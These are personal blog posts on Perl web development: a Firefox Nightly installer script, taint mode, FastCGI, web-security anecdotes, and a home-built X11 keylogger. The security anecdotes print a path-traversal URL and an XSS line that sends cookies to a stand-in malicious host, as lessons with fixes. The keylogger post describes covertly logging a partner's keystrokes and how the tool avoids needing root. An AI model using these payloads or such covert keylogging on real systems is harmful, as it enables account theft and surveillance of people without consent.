If anyone's interested, I wrote a Perl script that downloads and installs Firefox Nightly on a Unix-like operating system.
By default, it installs the application into /opt/firefox-nightly, with a link to run it at /usr/bin/firefox-nightly. This way, it doesn't conflict with your already-installed version of Firefox. Furthermore, it will put a launcher item in your Applications/Internet menu.
You can get it from here: http://sh.kirsle.net/ffnightly
$ mkdir ~/bin $ wget http://sh.kirsle.net/ffnightly -O bin/ffnightly $ chmod +x bin/ffnightly $ ffnightly
I've now enabled Taint Mode on my Siikir CMS, for Kirsle.net, Siikir.com and RiveScript.com (which now runs the Siikir code as well).
Fortunately it wasn't too difficult to fix my code for taint mode to work. I was already centralizing my various string filtering functions to a small handful, which just needed to untaint the strings before returning them.
Then it was just a matter of making sure I ran these filters everywhere that a user ID gets passed into a function (I was relying on the fact that my userExists() check would fail if you give a bad user ID number, but the variable was technically still tainted so I had to fix that properly).
I've thoroughly tested all areas of my sites to make sure nothing broke. Hopefully I didn't miss any.
I decided I'd take some time today to investigate setting up mod_perl to speed up Siikir.com and Kirsle.net, because some of the page load times on both sites were just unacceptable. They both run well on my local dev server (using all the same data as the production server), but I suspect some combination of a slower CPU or slow file I/O time on my production server is the culprit.
With mod_perl, the Apache server would run its own built-in Perl interpreter which would be re-used between requests, so that the overhead of having to load the Perl interpreter for every request goes away.
I tested it on my dev server first, and got it all set up and then realized it doesn't work with mod_suexec. With mod_suexec, you can have multiple users on the web server who each have their own websites, and their Perl/CGI scripts will execute in the name of the user instead of as the global Apache user. So then, it makes permission handling easier: the Perl script can read and write files owned by the same user who owns the entire website. But, with mod_perl, the Apache user executes the Perl scripts and this causes problems.
So I found an alternative: FastCGI. It's black magic to me, but it works similarly to mod_perl (reusing the same Perl process for multiple requests), but it does work with mod_suexec. So, I've gotten Kirsle.net and Siikir.com to both use FastCGI now, and, well, both sites run a lot faster. 
Every request still creates its own unique instance of the Siikir CMS object, but I did tweak my JsonDB plugin a bit for performance too: while every request has its own CMS object, the JsonDB plugin is always a singleton object--it is only initialized once, and then it is shared between every request. Also, it caches the DB documents when it reads them and keeps the cache in memory until the document changes on disk. So this helps tremendously with the file I/O problem on my server. Running the search page on Siikir.com gives results in less than 3 seconds, whereas before it would easily take 10 to 15 seconds.
I'm still keeping a lookout for new bugs that may emerge, though. I have to test and make sure the JSON document caching is working properly, for example. But for now everything seems to be working out pretty well.
I realize the title of this blog is basically Rule #1 about web application security, but sometimes this rule needs to be applied in some less-than-obvious situations.
Here are some of my anecdotes from the times when I've personally been bit by this, so that hopefully you won't repeat my mistakes and will be more aware of just how many ways users can try to get past your site's defenses.
My anecdote: I once wrote a super simple guestbook in Perl. It had three form fields: a name and an e-mail which were both single-line text boxes, and a textarea which took multiple lines of text. Guestbook entries were stored in a flat text file, with one line per entry, so it looked like this:
Dave|dave@example.com|Hey, nice site! Mike|mike@example.net|Hey, just leaving a guestbook entry!Obviously, I stripped all HTML code out from all the form fields, in order to protect myself against an XSS attack. But, I figured, the "name" and "email" are text boxes that can't have multiple lines, and so I only filtered multiple lines from the "message" (I substituted them with a "<br>" instead, after removing other HTML, so they would display with multiple lines on the "view guestbook" page).
How I got bit: One of those Dumb Submitter Bots found my guestbook and spammed every field on the page with their multiple-line junk mail including hundreds of links to sites that are sure to infect you with a virus.
So, my guestbook.txt started to look like this:
Dave|dave@example.com|Hey, nice site! Mike|mike@example.net|Hey, just leaving a guestbook entry! Rolex watches 80% off! [url=spam site 1]click here![/url] [url=spam site 2]click here![/url]|spammer@spammy.ru|Rolex watches 80% off!<br><br>[url=spam site 1]click here![/url]...The result wasn't too bad though: just a few guestbook entries displayed on the page that shouldn't and made the page look broken.
Lessons learned: Never, NEVER trust your form inputs. Literally ANY type of data can be sent under ANY of your fields. To make it clear, even your <select> boxes aren't safe. You may think you limit your user to sending only one of a few options when they submit the form, but they can still easily submit anything else in that field.
/index.cgi?p=aboutMy site was coded to take this parameter and open a text file named "about.txt" to get the content of the page the user wanted, something along the lines of:
my $page = "./private/pages/" . $q->param("p") . ".txt";
One of my friends kindly broke this for me and told me what he did. What he did was linked to a page with a URI that looked more along the lines of this:
/index.cgi?p=../users/adminAnd so the file my site was opening was "./private/pages/../users/admin.txt", or, more canonically, "./private/users/admin.txt"; and so, he was able to download the private user information for my admin user, including the password (I don't think I even hashed my passwords back then, either). Bad!
Any user-supplied data that is going to be used to access the server filesystem should be thoroughly filtered. Nowadays I would use a regular expression like this:
$p =~ s/[^A-Za-z0-9\.\-]//g;Stripping out everything that isn't a number, letter, period or dash.
This is an unexpected vector of attack. User-Agents and Referers are just as easy for a malicious user to edit to anything they want as a form field. So, once I was viewing my User-Agent page and I got a JavaScript error in my browser. Investigating, there was a bit of broken JavaScript code on my page, inside my list of User-Agents!
It was along the lines of this:
<script>window.location = "http://something-malicious.ru/cookie.php?cookie= + document.cookie;</script>The
A great many web applications rely on the environment variable REMOTE_ADDR, which contains the remote user's IP address. Web apps log your IP along with the things you post on the site, so that if they need to ban you for spamming, they're able to ban you by your IP address.
But this breaks when you get proxy servers involved, because a proxy server requests your web app on behalf of numerous users on the other side, and if you ban the proxy server's IP address, you ban a lot of innocent users. So, a lot of proxy servers will send an "X-Forwarded-For" header to your server which contains the IP address of the user behind the proxy.
So, a lot of poorly coded web apps will prefer X-Forwarded-For instead of the REMOTE_ADDR, for example by using code like this:
my $ip = $ENV{HTTP_X_FORWARDED_FOR} || $ENV{REMOTE_ADDR};
But, X-Forwarded-For should be considered user-supplied information. A malicious user can set this header to anything they want, which means they can try embedding HTML code in it (so when your web forum shows the IP address to your admins, the HTML code executes instead), or they may merely fake their IP address with it (like setting it to the localhost address, 127.0.0.1).Anyway, I hope after reading this you'll keep in mind that the phrase "never trust your user" extends even to some pretty unusual places.
[ 0 comments | Add comment | Permalink ]
As some of you may or may not have known, in the past I wrote a keylogger in Perl for Linux systems. The purpose was to see what my significant other was doing to my computer while I was away from it, and certainly not to log passwords and things that malicious people use keyloggers for. I posted the source code to it here with the express disclaimer that it should be used only for educational purposes.

Well, that keylogger had its problems. Although it had a couple of pros in there too compared to my new keylogger. The problem it had was that it required you to have root privileges on the Linux system you run it on, because it needed to read from /dev/input/* devices directly, which only the root user has permission to do. It also needed you to figure out which device node to read from ahead of time. And finally, it didn't work on some types of keyboards (I only tested it with a USB keyboard but I've heard reports from others that it just doesn't work for them).
The only pro it had was that it would log keys at the hardware level, including on text mode terminals.
And so, the new keylogger does not require root privileges! The new keylogger relies on the X Window System, though, but this is the de facto windowing system on just about every Linux/Unix system out there today. This also means it will only log keys entered into graphical applications (for desktop *nix users though, this would log keys for just about everybody) so users in a text-mode terminal won't be logged.
One issue I ran into though is that the xinput test command seems to expect you to have a terminal (or TTY), i.e. that you run the command from a graphical terminal. So trying to read the output of this command in Perl caused some weird buffering issue, where the command wouldn't give any output until about 100 characters were typed. So, the script requires the IO::Pty::Easy module which creates a virtual TTY so that xinput believes you're running it from a real shell.
The new keylogger's source code can be found here. Have fun! 
When run from a graphical terminal, the $DISPLAY environment variable is already set to your current X display, e.g. ":0.0". But when launched from a non-graphical environment, the script would need to set the value of $DISPLAY itself, in order for xinput to know which X server to connect to.
Well, maybe if the keylogger changes up the value of $DISPLAY to log from different X servers it may be able to cross the partitions set up by Qubes. I'll have to investigate this further.